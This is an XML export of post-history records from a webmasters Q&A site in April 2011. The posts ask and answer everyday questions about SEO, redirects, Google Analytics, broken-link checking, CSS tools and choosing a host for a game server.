  <row Id="29374" PostHistoryTypeId="3" PostId="12831" RevisionGUID="0e8a70fc-28a8-4efa-b559-ad81fcf5ce46" CreationDate="2011-04-23T16:22:29.200" UserDisplayName="Bob Cavezza" Text="&lt;domains&gt;&lt;amazon&gt;&lt;domain-names&gt;" />
  <row Id="29375" PostHistoryTypeId="17" PostId="12831" RevisionGUID="3e8549a3-373a-4976-aedc-a040701e93cb" CreationDate="2011-04-23T17:05:16.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5765380/how-does-amazon-com-renew-or-buy-its-domain-names" Text="" />
  <row Id="29376" PostHistoryTypeId="5" PostId="12769" RevisionGUID="c07331c9-4516-48ae-a292-70c472fa895e" CreationDate="2011-04-23T17:32:53.910" UserId="7019" Comment="Clarified my answer, per DKuntz2's comment." Text="Have you tried FTP/SFTP? SSH may be disabled, but if you had FTP, you can create directories and upload files. This could be labor intensive, but I've worked with software that did this. It had you upload (via FTP/SFTP) a CGI program. You then accessed this program via the browser. When you did that, the program initiated an installation. I thought it was clever at the time, but I remember fighting lots of permission issues with this. Good luck!" />
  <row Id="29377" PostHistoryTypeId="2" PostId="12833" RevisionGUID="59ad7f6e-b0f5-4acd-a222-b8021ec41c2a" CreationDate="2011-04-23T17:46:09.320" UserId="2513" Text="Everytime I open google analytics account I get some default date range which is one month from yesterday to yesterday.&#xD;&#xA;&#xD;&#xA;Is there a way to set default to be&#xD;&#xA;&#xD;&#xA;    start: some day I define&#xD;&#xA;&#xD;&#xA;    end:   last possible day there is" />
  <row Id="29378" PostHistoryTypeId="1" PostId="12833" RevisionGUID="59ad7f6e-b0f5-4acd-a222-b8021ec41c2a" CreationDate="2011-04-23T17:46:09.320" UserId="2513" Text="End date on google analytics" />
  <row Id="29379" PostHistoryTypeId="3" PostId="12833" RevisionGUID="59ad7f6e-b0f5-4acd-a222-b8021ec41c2a" CreationDate="2011-04-23T17:46:09.320" UserId="2513" Text="&lt;google-analytics&gt;" />
  <row Id="29380" PostHistoryTypeId="25" PostId="12831" RevisionGUID="4f474bce-b4fb-4148-98cb-ea163aad65ad" CreationDate="2011-04-23T18:09:17.813" Comment="http://twitter.com/#!/StackWebmasters/status/61854169249751040" />
  <row Id="29381" PostHistoryTypeId="2" PostId="12834" RevisionGUID="286b1fe3-2f97-41c9-b050-ab2b183b66df" CreationDate="2011-04-23T20:04:00.803" UserId="6707" Text="As it sounds, the discussion has carried on [here][1], and anybody seeking responses may navigate to the url and maybe it proves useful to that person.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com/showthread.php?p=7412789" />
  <row Id="29382" PostHistoryTypeId="25" PostId="12833" RevisionGUID="2f4b5fed-854e-4e5f-a40f-0fe474950511" CreationDate="2011-04-23T21:09:17.603" Comment="http://twitter.com/#!/StackWebmasters/status/61899467435155457" />
  <row Id="29383" PostHistoryTypeId="17" PostId="12836" RevisionGUID="e379e4b4-735d-485a-8563-aafb58d5b80a" CreationDate="2011-04-23T21:46:17.750" UserId="-1" Comment="from http://stackoverflow.com/questions/5732848/seo-impact-on-a-multi-site-environment-with-some-similar-content/5738472#5738472" Text="" />
  <row Id="29384" PostHistoryTypeId="2" PostId="12836" RevisionGUID="1d783239-4ac3-4298-b715-1110a6da5808" CreationDate="2011-04-21T01:19:39.383" UserId="4461" Text="The worst that would occur is that the sub-domain about pages will be filtered out of the search results. I doubt it would be considered &quot;spammy&quot; to invoke any type of &quot;penalty&quot;.&#xD;&#xA;&#xD;&#xA;Google has the [broad definition of duplicate content][1] as anything that is:&#xD;&#xA;&gt; *substantive blocks of content within or across domains that either completely match other content or are appreciably similar*&#xD;&#xA;&#xD;&#xA;...which it sounds like your content is.&#xD;&#xA;&#xD;&#xA;I'd consider an alternative approach - using the single page (`example.com/about`), making it the canonical version (using `rel=canonical`) and then from each subdomain linking to that page with a cookie/tag/query-string/insert-your-method-here passing what sub-domain (or use a referrer check) the request is coming from to dynamically insert the relevant non-canned content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359" />
  <row Id="29385" PostHistoryTypeId="2" PostId="12835" RevisionGUID="780fb925-b8a6-4215-bd49-4ea33424d6de" CreationDate="2011-04-20T15:29:25.620" UserId="2994" Text="I have a network of sites (70+) that use subdomains like this for a national site and regional branches:&#xD;&#xA;&#xD;&#xA; - example.com &#xD;&#xA; - atlanta.example.com&#xD;&#xA; - chicago.example.com&#xD;&#xA; - dallas.example.com&#xD;&#xA;&#xD;&#xA;Each of them have an About page that starts off with a short intro paragraph regarding the regional site and then the rest of the page is a canned, nearly identical description of the overall firm and its services.&#xD;&#xA;&#xD;&#xA; - example.com/about&#xD;&#xA; - atlanta.example.com/about&#xD;&#xA; - chicago.example.com/about&#xD;&#xA; - dallas.example.com/about&#xD;&#xA;&#xD;&#xA;My question is about the impact this system will have on SEO. Will search engines consider these About pages duplicate or spammy content because they are similar? We do need to present this info to our users on a regional level, but it doesn't make sense to write 70+ different about pages that are trying to give the same info about the overall firm and some unique info about the regional site." />
  <row Id="29386" PostHistoryTypeId="1" PostId="12835" RevisionGUID="780fb925-b8a6-4215-bd49-4ea33424d6de" CreationDate="2011-04-20T15:29:25.620" UserId="2994" Text="SEO impact on a multi-site environment with some similar content" />
  <row Id="29387" PostHistoryTypeId="3" PostId="12835" RevisionGUID="780fb925-b8a6-4215-bd49-4ea33424d6de" CreationDate="2011-04-20T15:29:25.620" UserId="2994" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="29388" PostHistoryTypeId="17" PostId="12835" RevisionGUID="f2ab6c23-d0f3-4b6c-bcd2-33b378367632" CreationDate="2011-04-23T21:46:17.750" UserId="-1" Comment="from http://stackoverflow.com/questions/5732848/seo-impact-on-a-multi-site-environment-with-some-similar-content" Text="" />
  <row Id="29389" PostHistoryTypeId="17" PostId="12838" RevisionGUID="d1046b00-8287-4895-b511-e89545d8337a" CreationDate="2011-04-23T21:59:05.807" UserId="-1" Comment="from http://stackoverflow.com/questions/5703185/what-redirect-do-i-use/5703211#5703211" Text="" />
  <row Id="29390" PostHistoryTypeId="17" PostId="12839" RevisionGUID="d3e9f7f0-b10c-4b7a-b177-6ec22d18c5ef" CreationDate="2011-04-23T21:59:05.807" UserId="-1" Comment="from http://stackoverflow.com/questions/5703185/what-redirect-do-i-use/5703221#5703221" Text="" />
  <row Id="29391" PostHistoryTypeId="17" PostId="12840" RevisionGUID="3931456a-3c20-405b-b904-4282edd86454" CreationDate="2011-04-23T21:59:05.807" UserId="-1" Comment="from http://stackoverflow.com/questions/5703185/what-redirect-do-i-use/5703247#5703247" Text="" />
  <row Id="29392" PostHistoryTypeId="2" PostId="12838" RevisionGUID="647ec165-5cbe-4c0a-8f7e-80926e8dd80e" CreationDate="2011-04-18T12:56:02.700" UserDisplayName="KoKo" Text="as long as you get 301 site moved permanently, you'll be fine, doesn't matter which method you use to redirect, you just need to make sure to set the code properly. " />
  <row Id="29393" PostHistoryTypeId="2" PostId="12839" RevisionGUID="9084a888-6513-473f-a6e0-9abd22f7fc69" CreationDate="2011-04-18T12:56:55.117" UserId="7007" Text="If a file/domain has has moved for good you should use a &quot;301 Moved Permanently&quot;" />
  <row Id="29394" PostHistoryTypeId="2" PostId="12840" RevisionGUID="eaa88667-17e2-44b6-9569-a4b2a1253ce9" CreationDate="2011-04-18T12:59:10.673" UserId="2613" Text="There are a couple of things you can use. First, assuming you have signed the domain up for Google Webmaster tools, you can select the prefered version of the URL. http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;&#xD;&#xA;I would also add an HTACCESS rule to redirect visitors to the preferred URL.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} company.hosted_site.com [NC] &#xD;&#xA;    RewriteRule ^(.*)$ http://www.hosted_site.com/$1 [L,R=301] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29395" PostHistoryTypeId="2" PostId="12837" RevisionGUID="568ff1ed-bd31-46cc-8d0d-1b29be188633" CreationDate="2011-04-18T12:53:04.743" UserDisplayName="rick" Text="I have a hosted rails application that gives every account a sub domain eg company.hosted_site.com&#xD;&#xA;&#xD;&#xA;I have pointed our customers own domain to their subdomain via a A record and a cname so it looks like their own site.&#xD;&#xA;&#xD;&#xA;But now i have 2 versions of the same site running so i need to now redirect the subdomain to the customers own domain.&#xD;&#xA;&#xD;&#xA;My question is what redirect is best for this for SEO ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;Rick" />
  <row Id="29396" PostHistoryTypeId="1" PostId="12837" RevisionGUID="568ff1ed-bd31-46cc-8d0d-1b29be188633" CreationDate="2011-04-18T12:53:04.743" UserDisplayName="rick" Text="what redirect do i use ?" />
  <row Id="29397" PostHistoryTypeId="3" PostId="12837" RevisionGUID="568ff1ed-bd31-46cc-8d0d-1b29be188633" CreationDate="2011-04-18T12:53:04.743" UserDisplayName="rick" Text="&lt;ruby-on-rails&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="29398" PostHistoryTypeId="17" PostId="12837" RevisionGUID="41e3a6c7-a6ea-4c71-ac86-83e97d7b4b1e" CreationDate="2011-04-23T21:59:05.807" UserId="-1" Comment="from http://stackoverflow.com/questions/5703185/what-redirect-do-i-use" Text="" />
  <row Id="29399" PostHistoryTypeId="2" PostId="12841" RevisionGUID="bf7c59a4-1c2d-463c-a4fb-3f6a3557c437" CreationDate="2011-04-23T22:09:14.483" UserId="6389" Text="Have you read through the config.php completely?  &#xD;&#xA;On line 184 there is an &quot;isconfigured&quot; option, you will get the error you have described if this is not set to true. This seems to have been added by the author as a check that you have read and understood the config file. Also the config defaults to use postgres you will almost certainly need to change this to MYSQL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3 define('DB_TYPE', &quot;pgsql&quot;); // or mysql   &#xD;&#xA;&gt; ...  &#xD;&#xA;&gt; 184 define('ISCONFIGURED', false);  &#xD;&#xA;&gt; 185 // Please set this to true if you have read everything above and  &#xD;&#xA;&gt; 186 // finished setting configuration options.&#xD;&#xA;&#xD;&#xA;If you issue is not either of these give some more details." />
  <row Id="29400" PostHistoryTypeId="2" PostId="12842" RevisionGUID="f470542d-9b26-4f45-82dd-ceb0a2e4463f" CreationDate="2011-04-24T00:01:09.487" UserId="1022" Text="If you just want home.php to be the directory index (as opposed to the usual index.php, etc), you don't need the overhead of mod_rewrite to do it:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex home.php index.php index.html // and so on&#xD;&#xA;&#xD;&#xA;It works in directory .htaccess files too, if you want to maintain a different default elsewhere. More details via [mod_dir][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_dir.html" />
  <row Id="29401" PostHistoryTypeId="25" PostId="12795" RevisionGUID="10fd3fee-acec-413e-84ce-d6a0f43482a3" CreationDate="2011-04-24T00:09:17.770" Comment="http://twitter.com/#!/StackWebmasters/status/61944766996287488" />
  <row Id="29402" PostHistoryTypeId="2" PostId="12843" RevisionGUID="6a325270-31f6-4b7a-a5e9-29dad387ea16" CreationDate="2011-04-24T00:16:37.863" UserId="1583" Text="The most likely answer is that not all your pages are correctly setup to use Google Analytics, in which case &lt;a href=&quot;http://blog.zopim.com/?p=718&quot;&gt;the Zopim guide may help&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;The most likely alternative is that Zopim is counting something as a page hit that Google Analytics doesn't accept - perhaps the difference between counting partial ajax refreshes or not?" />
  <row Id="29403" PostHistoryTypeId="5" PostId="12476" RevisionGUID="3ff2a7e8-1a11-4691-885c-c5937d429710" CreationDate="2011-04-24T00:20:31.630" UserId="1583" Comment="Fixed grammar and spelling" Text="On my website I run Google Analytics and I also run Zopim.  Zopim is providing very different figures than Google (more hits).  Which one should I believe?  Why would there be a difference?" />
  <row Id="29404" PostHistoryTypeId="4" PostId="12476" RevisionGUID="3ff2a7e8-1a11-4691-885c-c5937d429710" CreationDate="2011-04-24T00:20:31.630" UserId="1583" Comment="Fixed grammar and spelling" Text="Google Analytics vs Zopim stats are different" />
  <row Id="29405" PostHistoryTypeId="24" PostId="12476" RevisionGUID="3ff2a7e8-1a11-4691-885c-c5937d429710" CreationDate="2011-04-24T00:20:31.630" Comment="Proposed by 1583 approved by 1253 edit id of 225" />
  <row Id="29406" PostHistoryTypeId="25" PostId="12830" RevisionGUID="10397019-44ea-4f35-862c-1583a1b73e2e" CreationDate="2011-04-24T03:09:17.503" Comment="http://twitter.com/#!/StackWebmasters/status/61990063290060800" />
  <row Id="29407" PostHistoryTypeId="5" PostId="5873" RevisionGUID="a9dc5857-2639-43be-93ec-7914f61bf6ce" CreationDate="2011-04-24T03:42:32.667" UserId="1253" Comment="added 60 characters in body" Text="[Looks like someone found a solution for this problem.][1] Apparently you need to send the proper content-type header.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://forums.aws.amazon.com/message.jspa?messageID=108392" />
  <row Id="29408" PostHistoryTypeId="2" PostId="12844" RevisionGUID="02396900-0de2-4d2a-8a91-1fcfc691fa26" CreationDate="2011-04-24T05:36:44.687" UserId="7057" Text="I've forgot service name, where you can enter website address and change CSS online. It's called CSS Strike or something like that. Very popular and nice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks !&#xD;&#xA;&#xD;&#xA;:)" />
  <row Id="29409" PostHistoryTypeId="1" PostId="12844" RevisionGUID="02396900-0de2-4d2a-8a91-1fcfc691fa26" CreationDate="2011-04-24T05:36:44.687" UserId="7057" Text="Change CSS on website online" />
  <row Id="29410" PostHistoryTypeId="3" PostId="12844" RevisionGUID="02396900-0de2-4d2a-8a91-1fcfc691fa26" CreationDate="2011-04-24T05:36:44.687" UserId="7057" Text="&lt;css&gt;" />
  <row Id="29411" PostHistoryTypeId="25" PostId="12844" RevisionGUID="681cc2f6-7e61-4ebd-bb18-d74d6a637b8e" CreationDate="2011-04-24T06:09:17.467" Comment="http://twitter.com/#!/StackWebmasters/status/62035362322718720" />
  <row Id="29412" PostHistoryTypeId="2" PostId="12845" RevisionGUID="17fe573e-dc1e-4569-833e-0b78bd54a86f" CreationDate="2011-04-24T06:09:55.627" UserId="7059" Text="There are many SMS services that will allow you to set the originator to your Google number. If you are planning to send to the US, then this is different because the US carriers require to certify the originators (in most cases) so the end user can also opt out, request information about the service, etc, but if you are planning to send SMS to other countries in the world then you will be able to do it for most of them if you use an SMS API service that supports dynamic sender ID.&#xD;&#xA;&#xD;&#xA;(Disclaimer: I work for Nexmo).&#xD;&#xA;&#xD;&#xA;Nexmo is an SMS API that allows you to send with a dynamic sender ID or originator. This means that you will be able to set the sender ID to be your Google number.&#xD;&#xA;&#xD;&#xA;There can be exceptions where certain countries/operators introduce filters, for example for alphanumeric originators, and in that case the operator in particular would not accept messages with this type of sender, however, these are introduced in a relatively small number of countries. Normally there are no problems at all with international numbers as the originator of the message.&#xD;&#xA;&#xD;&#xA;Nexmo API uses RESTful protocol and responses can be formatted in XML or JSON. It is very simple to integrate to the API. I recommend that you check the website out for the documentation and the reach.&#xD;&#xA;&#xD;&#xA;http://nexmo.com&#xD;&#xA;&#xD;&#xA;I hope this helps. Let me know if I can help with any other question." />
  <row Id="29413" PostHistoryTypeId="17" PostId="12847" RevisionGUID="8d8a65f5-d417-4ad5-933b-b5be8204b84d" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768303#5768303" Text="" />
  <row Id="29414" PostHistoryTypeId="17" PostId="12848" RevisionGUID="e3e8e93d-c375-406c-bb2a-8b7faa0fa69c" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768304#5768304" Text="" />
  <row Id="29415" PostHistoryTypeId="17" PostId="12849" RevisionGUID="03a19562-7ddd-43d5-9db4-0c5d76999544" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768308#5768308" Text="" />
  <row Id="29416" PostHistoryTypeId="17" PostId="12850" RevisionGUID="1960f443-b19d-4e35-903b-04fbd5566cc8" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768309#5768309" Text="" />
  <row Id="29417" PostHistoryTypeId="17" PostId="12851" RevisionGUID="fed297cc-4a5e-4295-bb71-be6fe3ac0331" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768317#5768317" Text="" />
  <row Id="29418" PostHistoryTypeId="17" PostId="12852" RevisionGUID="a17e6d70-2148-4a2d-a531-64edac2f70af" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good/5768321#5768321" Text="" />
  <row Id="29419" PostHistoryTypeId="2" PostId="12847" RevisionGUID="35412d73-5002-4b8e-addd-41fbd855c211" CreationDate="2011-04-24T02:34:49.187" UserDisplayName="kobaltz" Text="I know your pain. &#xD;&#xA;&#xD;&#xA;[http://tutorialzine.com/2010/02/html5-css3-website-template/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tutorialzine.com/2010/02/html5-css3-website-template/&#xD;&#xA;&#xD;&#xA;This site may give you a head start." />
  <row Id="29420" PostHistoryTypeId="2" PostId="12848" RevisionGUID="b23afe1d-e303-4761-9675-5c905c0ee785" CreationDate="2011-04-24T02:35:50.343" UserDisplayName="SpyrosP" Text="Nettuts has many good tutorials on web design :&#xD;&#xA;&#xD;&#xA;http://net.tutsplus.com/category/tutorials/design-tutorials/" />
  <row Id="29421" PostHistoryTypeId="2" PostId="12849" RevisionGUID="ad68bc59-a1a9-4420-9365-c8c9d0c123d5" CreationDate="2011-04-24T02:36:46.503" UserDisplayName="Millenille" Text="I'm in the same boat, having a slight passion for back-end development over front-end. However, as a web developer you will need the knowledge sooner or later. Here's a few links to great articles for you:&#xD;&#xA;&#xD;&#xA;http://webdesign.tutsplus.com/sessions/web-design-theory/&#xD;&#xA;http://www.smashingmagazine.com/2009/10/05/mastering-css-coding-getting-started/#CSS-Basics1&#xD;&#xA;http://psd.tutsplus.com/articles/web/50-totally-free-lessons-in-graphic-design-theory/" />
  <row Id="29422" PostHistoryTypeId="2" PostId="12850" RevisionGUID="da5cd4b0-cb2f-4a96-909e-9aa5650ba048" CreationDate="2011-04-24T02:36:50.653" UserDisplayName="Sam" Text="My advice is to keep things simple. Worry about UI, how the user will interact with data, not colors/borders/line-height etc..., and slowly add colors and style.&#xD;&#xA;&#xD;&#xA;For colors you can use [Kulor][1], it's Adobe's application to coordinate colors. What I have found is that doing little changes at a time, day by day, instead of working on a whole design at once makes managing themes easier.&#xD;&#xA;&#xD;&#xA;Otherwise I tend to get OCD about everything think and unless you are a designer that really isn't your role in the long run as there is usually a designer and developer for each project.&#xD;&#xA;&#xD;&#xA;So to sum it up use the scaffolding methods to get you started with tables, and when you have got most of your app up and going start to clean it up with divs and proper css layouts through small iterations. I think most developers keep things simple with colors and realize that it's not our role to go crazy over it, although we do, and always keep in mind that unless you are both a designer/developer someone else will probably come along later and make everything look much better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kuler.adobe.com/" />
  <row Id="29423" PostHistoryTypeId="2" PostId="12851" RevisionGUID="732808b9-dc33-4129-a49b-412acd7d7685" CreationDate="2011-04-24T02:38:56.437" UserDisplayName="Christo" Text="There are a million of them, but the best way is to hunt up example web site templates, find ones you like the look of, and modify those.  Frankly, I almost never do static HTML work anymore.  There are so many good and free Content Management Systems that get you started with advanced skinning and all the basic security and boiler plate functionality already in there so you don't have to reinvent the wheel.  For Ruby, look into Zena, Slate, Locomotive, Casein, etc.  Seems like Ruby has more CMS than just about any environment." />
  <row Id="29424" PostHistoryTypeId="2" PostId="12852" RevisionGUID="24443734-de24-460d-92f6-a99c816d0661" CreationDate="2011-04-24T02:40:04.640" UserDisplayName="gdelfino" Text="Take a look at: http://themeforest.net/&#xD;&#xA;&#xD;&#xA;You can buy a template and adapt it to you app." />
  <row Id="29425" PostHistoryTypeId="2" PostId="12846" RevisionGUID="9f0dbc23-0c3a-40cf-bf83-4f1e89685ad0" CreationDate="2011-04-24T02:31:56.597" UserDisplayName="Dhaivat Pandya" Text="I've gotten myself to a point where I can make my webpages work from the server side ... but, from the client side, they all look terrible.&#xD;&#xA;&#xD;&#xA;I don't really have the hang of colors and themes and such (I know HTML and CSS, but cannot apply them), are there any good tutorials that cover this sort of stuff?" />
  <row Id="29426" PostHistoryTypeId="1" PostId="12846" RevisionGUID="9f0dbc23-0c3a-40cf-bf83-4f1e89685ad0" CreationDate="2011-04-24T02:31:56.597" UserDisplayName="Dhaivat Pandya" Text="Making some simple pages look good?" />
  <row Id="29427" PostHistoryTypeId="3" PostId="12846" RevisionGUID="9f0dbc23-0c3a-40cf-bf83-4f1e89685ad0" CreationDate="2011-04-24T02:31:56.597" UserDisplayName="Dhaivat Pandya" Text="&lt;web-development&gt;&lt;web-design&gt;" />
  <row Id="29428" PostHistoryTypeId="17" PostId="12846" RevisionGUID="74731270-4a75-42de-9342-7445c9811e72" CreationDate="2011-04-24T06:16:49.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5768299/making-some-simple-pages-look-good" Text="" />
  <row Id="29429" PostHistoryTypeId="2" PostId="12853" RevisionGUID="f102d985-80bb-456a-a695-5ad46cd4ca54" CreationDate="2011-04-24T06:43:21.963" UserId="2115" Text="I have a blogspot blog, I have purchased a new domain and I want to transfer my old blogspot blog to my new domain.&#xD;&#xA;&#xD;&#xA;Is it possible?&#xD;&#xA;&#xD;&#xA;If yes then let me know the procedure. &#xD;&#xA;" />
  <row Id="29430" PostHistoryTypeId="1" PostId="12853" RevisionGUID="f102d985-80bb-456a-a695-5ad46cd4ca54" CreationDate="2011-04-24T06:43:21.963" UserId="2115" Text="How to transfer a Blogspot blog to a new domain?" />
  <row Id="29431" PostHistoryTypeId="3" PostId="12853" RevisionGUID="f102d985-80bb-456a-a695-5ad46cd4ca54" CreationDate="2011-04-24T06:43:21.963" UserId="2115" Text="&lt;domain&gt;&lt;blog&gt;&lt;content&gt;&lt;transfer&gt;" />
  <row Id="29432" PostHistoryTypeId="2" PostId="12854" RevisionGUID="799bd3b5-752a-4dec-86fb-ec4c605a0eb5" CreationDate="2011-04-24T08:09:01.903" UserId="2044" Text="I have recently moved my website from one server to another server. for my confirmation i would like to check the dead links and the missing images on my website.&#xD;&#xA;&#xD;&#xA;like: if my website is http://outsourcingnepal.com I would like to crawl every pages on the website and find the missing images and non working dead links." />
  <row Id="29433" PostHistoryTypeId="1" PostId="12854" RevisionGUID="799bd3b5-752a-4dec-86fb-ec4c605a0eb5" CreationDate="2011-04-24T08:09:01.903" UserId="2044" Text="How do i check broken links and images in my website?" />
  <row Id="29434" PostHistoryTypeId="3" PostId="12854" RevisionGUID="799bd3b5-752a-4dec-86fb-ec4c605a0eb5" CreationDate="2011-04-24T08:09:01.903" UserId="2044" Text="&lt;websites&gt;&lt;dead-links&gt;" />
  <row Id="29435" PostHistoryTypeId="2" PostId="12855" RevisionGUID="cfc3d7d3-d84b-4567-9929-93e48f994e7d" CreationDate="2011-04-24T08:42:05.797" UserId="2739" Text="I use a piece of software called [Xenu Link Sleuth][1].&#xD;&#xA;&#xD;&#xA;I first used it about 10 years ago and the interface hasn't changed much in that time, but it works great for small to medium size websites.&#xD;&#xA;&#xD;&#xA;It will still work on large websites, but it will take an age to crawl tens of thousands of dynamically generated content pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="29436" PostHistoryTypeId="25" PostId="12854" RevisionGUID="3758954a-17c2-4d3e-b923-120ad43a002c" CreationDate="2011-04-24T09:09:17.447" Comment="http://twitter.com/#!/StackWebmasters/status/62080661166637056" />
  <row Id="29437" PostHistoryTypeId="2" PostId="12856" RevisionGUID="ca2b63ff-a477-4c70-8e1c-837e20a899c0" CreationDate="2011-04-24T09:35:51.597" UserId="6858" Text="If you're working locally and not interested in sharing the results, you can just use Firebug for this." />
  <row Id="29438" PostHistoryTypeId="2" PostId="12857" RevisionGUID="4e6f7176-021a-4dce-a558-897828d4ca37" CreationDate="2011-04-24T10:17:54.007" UserId="6858" Text="You might find that simple static HTML pages with a widget included for the public polls is quicker to code, maintain and run.&#xD;&#xA;&#xD;&#xA;If all you are planning to do is add 2 or 3 static pages then you add a big performance overhead, ongoing maintenance requirements, more potential for hacking, and your site will be slower." />
  <row Id="29439" PostHistoryTypeId="2" PostId="12858" RevisionGUID="c80fdd84-cc93-4535-8b3d-00e7abf22e73" CreationDate="2011-04-24T10:25:23.437" UserId="1583" Text="Most modern browswer let you tinker with the styling and markup of live sites; this is the view you get when using Google Chrome if you right click and choose 'inspect element':&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or on Firefox using the 'Firebug' extension:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/58vh9.gif&#xD;&#xA;  [2]: http://i.stack.imgur.com/ecQ5M.gif" />
  <row Id="29440" PostHistoryTypeId="5" PostId="12465" RevisionGUID="43cdf23f-bd2b-42c4-b126-443ab3f267bc" CreationDate="2011-04-24T11:41:17.180" UserId="6955" Comment="deleted 10 characters in body" Text="I am basically looking for a cheap hosting provider to host a Call of Duty game server in India. But this is not a localized question actually as you will see when you go through the complete question.&#xD;&#xA;&#xD;&#xA;**Essential Features**   &#xD;&#xA;&#xD;&#xA;- The server *must* be physically located in India otherwise gaming experience is very poor due to the large delay/ping. Your enemy does not get killed even if it looks like your bullet hit him. For more details check my question http://gaming.stackexchange.com/questions/15803/good-public-dedicated-call-of-duty-servers-list-for-players-in-india-please&#xD;&#xA;&#xD;&#xA;- The game needs a windows platform. &#xD;&#xA;- The game should be running all the time. &#xD;&#xA;- Not a big issue if the hosting cost is not low. But it should allow me to set up user authentication later so that I can allow only paid users to play and recover the expenses or offer paid gaming services. &#xD;&#xA;&#xD;&#xA;**Further details**  &#xD;&#xA;This is basically an effort to solve the problem of absence of dedicated-public multiplayer game servers in India. This is not a problem specific to India but to many geographies of the world where gaming culture is not mature yet. For more details check this question and see if you can help there - &#xD;&#xA;&#xD;&#xA;http://gaming.stackexchange.com/questions/20233/ideas-or-solutions-to-resolve-the-issue-of-absence-of-local-dedicated-public-mult&#xD;&#xA;&#xD;&#xA;Even http://www.gametracker.com does not have any listed dedicated servers in India, nor does it offer hosting for one.&#xD;&#xA;&#xD;&#xA;**Questions**  &#xD;&#xA;&#xD;&#xA; - What is my best option here. I have no idea what kind of interface I will get if I purchase a windows hosting. I have only worked on Linux hostings, interacted using cpanel etc. &#xD;&#xA; - Is it possible to just purchase a windows hosting and then install games myself, do any authentication I want? &#xD;&#xA; - Additionally, I am also looking some web space to host my personal projects. The projects may go live in near future and I may need to scale up resources. But right now I am just a beginner with no live websites. I basically work on LAMP projects (Linux Apache Mysql PHP). It would be nice if one hosting solves all my requirements. I am very new to hosting fundamentals and it sounds as difficult to me as investments. I checked a lot of questions here like - &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/274/how-to-choose-between-web-hosting-and-cloud-hosting&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/151/what-should-i-consider-when-choosing-a-hosting-provider&#xD;&#xA;&#xD;&#xA;But I am still clueless. Is Amazon EC2 hosting a possible solution? As per http://aws.amazon.com/ec2/faqs/#What_operating_system_environments_are_supported Windows server as well many linux OS are supported.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="29441" PostHistoryTypeId="25" PostId="12846" RevisionGUID="948907f9-18f2-4729-acce-404599d172eb" CreationDate="2011-04-24T12:09:17.650" Comment="http://twitter.com/#!/StackWebmasters/status/62125959544979457" />
  <row Id="29442" PostHistoryTypeId="6" PostId="12853" RevisionGUID="465b4026-034e-4038-955d-995a522e989a" CreationDate="2011-04-24T13:51:07.827" UserId="1253" Comment="removed &quot;domain content&quot; tags" Text="&lt;blog&gt;&lt;transfer&gt;" />
  <row Id="29443" PostHistoryTypeId="2" PostId="12859" RevisionGUID="76d75498-4480-45e4-b91c-1ab5e7154d8a" CreationDate="2011-04-24T14:04:08.240" UserId="6389" Text="Q. What is my best option here. I have no idea what kind of interface I will get if I purchase a windows hosting. I have only worked on Linux hostings, interacted using cpanel etc.  &#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila2 install. you will administer the server by remote desktop.&#xD;&#xA;Q. Is it possible to just purchase a windows hosting and then install games myself, do any authentication I want?  &#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;Q. Additionally, I am also looking some web space to host my personal projects...  &#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations.  &#xD;&#xA;&#xD;&#xA;Presumably your reason for wanting to host in India is for lower latency to the server, make sure you test this. get a sample ip from the host and ping (or better trceroute/LFT) from as many locations as possible. It seems there are a couple of intertnet exchanges in India but you will want to make sure traffic is not going to the US and back for example.  &#xD;&#xA;&#xD;&#xA;I would definatly contact a company that runs games servers and ask them about the realistic hosting requirements for COD, although my guess is a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can mov quikly if needed.CPU 